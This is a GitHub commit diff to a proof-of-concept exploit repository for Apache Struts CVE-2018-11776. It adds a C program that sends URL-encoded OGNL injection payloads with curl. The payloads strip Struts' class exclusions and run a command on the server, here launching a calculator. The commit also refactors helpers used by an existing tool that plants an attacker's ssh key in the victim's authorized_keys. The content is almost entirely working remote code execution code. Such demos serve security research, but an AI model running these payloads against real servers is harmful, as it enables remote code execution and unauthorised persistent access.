Skip to content

Commit 20e2d3d

Browse files
Add instructions for popping a calculator.
1 parent b19f4f9 commit 20e2d3d

5 files changed

Lines changed: 139 additions & 62 deletions

File tree

Apache/Struts/CVE-2018-11776/README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -58,7 +58,7 @@ docker run --rm --network struts-demo-network --ip=172.16.0.11 -h struts-attacke
5858
Inside the container, build `copykey.c` and use it to copy the attacker's ssh key into the server's `authorized_keys` file. Then use `ssh` to login.
5959

6060
```
61-
gcc copykey.c -o copykey
61+
gcc copykey.c utils.c -o copykey
6262
./copykey http://172.16.0.10:8080/struts2-showcase
6363
ssh victim@172.16.0.10
6464
```

Apache/Struts/CVE-2018-11776/struts-attacker/copykey.c

Lines changed: 2 additions & 61 deletions
Original file line numberDiff line numberDiff line change
@@ -3,66 +3,7 @@
33
#include <string.h>
44
#include <unistd.h>
55
#include <fcntl.h>
6-
7-
// Replace / with '+#sl+'. This is needed to sneak / characters past Tomcat.
8-
// It is based on the assumption that the string will be enclosed in
9-
// single quotes.
10-
int escape_forward_slash(char* dst, size_t dstlen, const char* src) {
11-
for (;; src++) {
12-
const char c = *src;
13-
if (c == '\0') {
14-
if (dstlen < 1) {
15-
return -1;
16-
}
17-
*dst = '\0';
18-
return 0;
19-
} else if (c == '/') {
20-
if (dstlen < 7) {
21-
return -1;
22-
}
23-
memcpy(dst, "'+#sl+'", 7);
24-
dst += 7;
25-
dstlen -= 7;
26-
} else {
27-
if (dstlen < 1) {
28-
return -1;
29-
}
30-
*dst = c;
31-
dst++;
32-
dstlen--;
33-
}
34-
}
35-
}
36-
37-
int urlencode(char* dst, size_t dstlen, const char* src) {
38-
for (;; src++) {
39-
const char c = *src;
40-
if (c == '\0') {
41-
if (dstlen < 1) {
42-
return -1;
43-
}
44-
*dst = '\0';
45-
return 0;
46-
} else if (('a' <= c && c <= 'z') ||
47-
('A' <= c && c <= 'Z') ||
48-
('0' <= c && c <= '9') ||
49-
c == '-' || c == '_' || c == '.' || c == '~') {
50-
if (dstlen < 1) {
51-
return -1;
52-
}
53-
*dst = c;
54-
dst++;
55-
dstlen--;
56-
} else {
57-
if (dstlen < 3) {
58-
return -1;
59-
}
60-
sprintf(dst, "%%%.2x", c);
61-
dst += 3;
62-
dstlen -= 3;
63-
}
64-
}
65-
}
6+
#include "utils.h"
667

678
int main(int argc, char* argv[]) {
689
if (argc < 2) {
@@ -122,7 +63,7 @@ int main(int argc, char* argv[]) {
12263
// Escape the slash characters in url2B.
12364
escape_forward_slash(scratch3, sizeof(scratch3), url2B);
12465

125-
// urlencode the first payload and send it to the Struts server.
66+
// urlencode the second payload and send it to the Struts server.
12667
snprintf(scratch1, sizeof(scratch1), "%s%s%s", url2A, scratch2, scratch3);
12768
urlencode(scratch2, sizeof(scratch2), scratch1);
12869
snprintf(cmd, sizeof(cmd), "curl %s/%s/actionChain1.action", url, scratch2);
Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <string.h>
4+
#include <unistd.h>
5+
#include <fcntl.h>
6+
#include "utils.h"
7+
8+
// NOTE:
9+
// This exploit will not work if Struts is running in a docker container,
10+
// because you cannot pop a calculator from inside docker. So this exploit
11+
// requires you to run Struts outside of docker. The easiest way to do this
12+
// is to follow the instructions in the README for building Struts in
13+
// docker. Then just copy the tomcat directory out of docker. To do that,
14+
// start docker like this:
15+
//
16+
// ```
17+
// docker run -v `pwd`:/home/victim/temp -i -t struts-server
18+
// ```
19+
//
20+
// And inside docker, copy the tomcat directory into `temp` which is mapped
21+
// to the directory that you started docker from:
22+
//
23+
// ```
24+
// cp -r apache-tomcat-9.0.12/ temp/
25+
// ```
26+
27+
int main(int argc, char* argv[]) {
28+
if (argc < 2) {
29+
printf("usage example: http://172.16.0.10:8080/struts2-showcase\n");
30+
return 1;
31+
}
32+
33+
const char* url = argv[1];
34+
35+
// Scratch buffers for building the curl command line.
36+
char scratch1[2048];
37+
char scratch2[2048];
38+
char cmd[4096];
39+
40+
// First OGNL payload, which we need to urlencode and send to the Struts
41+
// server with curl.
42+
const char* url1 =
43+
"${(#_=#attr['struts.valueStack']).(#context=#_.getContext())."
44+
"(#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
45+
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl."
46+
"OgnlUtil@class)).(#ognlUtil.setExcludedClasses(''))."
47+
"(#ognlUtil.setExcludedPackageNames(''))}";
48+
49+
// urlencode the first payload and send it to the Struts server.
50+
urlencode(scratch1, sizeof(scratch1), url1);
51+
snprintf(cmd, sizeof(cmd), "curl %s/%s/actionChain1.action", url, scratch1);
52+
system(cmd);
53+
54+
// Second OGNL payload. We need to paste our ssh key into the middle of
55+
// this string and urlencode it.
56+
const char* url2 =
57+
"${(#_=#attr['struts.valueStack']).(#context=#_.getContext())."
58+
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#context."
59+
"setMemberAccess(#dm)).(#sl=@java.io.File@separator)."
60+
"(#p=new java.lang.ProcessBuilder({'bash','-c','gnome-calculator'})).(#p.start())}";
61+
62+
// Escape any slash characters in the ssh key, to stop Tomcat from
63+
// intercepting them.
64+
escape_forward_slash(scratch1, sizeof(scratch1), url2);
65+
66+
urlencode(scratch2, sizeof(scratch2), scratch1);
67+
snprintf(cmd, sizeof(cmd), "curl %s/%s/actionChain1.action", url, scratch2);
68+
system(cmd);
69+
70+
return 0;
71+
}
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
#include <string.h>
2+
#include <stdio.h>
3+
#include "utils.h"
4+
5+
// Replace / with '+#sl+'. This is needed to sneak / characters past Tomcat.
6+
// It is based on the assumption that the string will be enclosed in
7+
// single quotes.
8+
int escape_forward_slash(char* dst, size_t dstlen, const char* src) {
9+
for (;; src++) {
10+
const char c = *src;
11+
if (c == '\0') {
12+
if (dstlen < 1) {
13+
return -1;
14+
}
15+
*dst = '\0';
16+
return 0;
17+
} else if (c == '/') {
18+
if (dstlen < 7) {
19+
return -1;
20+
}
21+
memcpy(dst, "'+#sl+'", 7);
22+
dst += 7;
23+
dstlen -= 7;
24+
} else {
25+
if (dstlen < 1) {
26+
return -1;
27+
}
28+
*dst = c;
29+
dst++;
30+
dstlen--;
31+
}
32+
}
33+
}
34+
35+
int urlencode(char* dst, size_t dstlen, const char* src) {
36+
for (;; src++) {
37+
const char c = *src;
38+
if (c == '\0') {
39+
if (dstlen < 1) {
40+
return -1;
41+
}
42+
*dst = '\0';
43+
return 0;
44+
} else if (('a' <= c && c <= 'z') ||
45+
('A' <= c && c <= 'Z') ||
46+
('0' <= c && c <= '9') ||
47+
c == '-' || c == '_' || c == '.' || c == '~') {
48+
if (dstlen < 1) {
49+
return -1;
50+
}
51+
*dst = c;
52+
dst++;
53+
dstlen--;
54+
} else {
55+
if (dstlen < 3) {
56+
return -1;
57+
}
58+
sprintf(dst, "%%%.2x", c);
59+
dst += 3;
60+
dstlen -= 3;
61+
}
62+
}
63+
}
Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
int escape_forward_slash(char* dst, size_t dstlen, const char* src);
2+
int urlencode(char* dst, size_t dstlen, const char* src);

0 commit comments

Comments
 (0)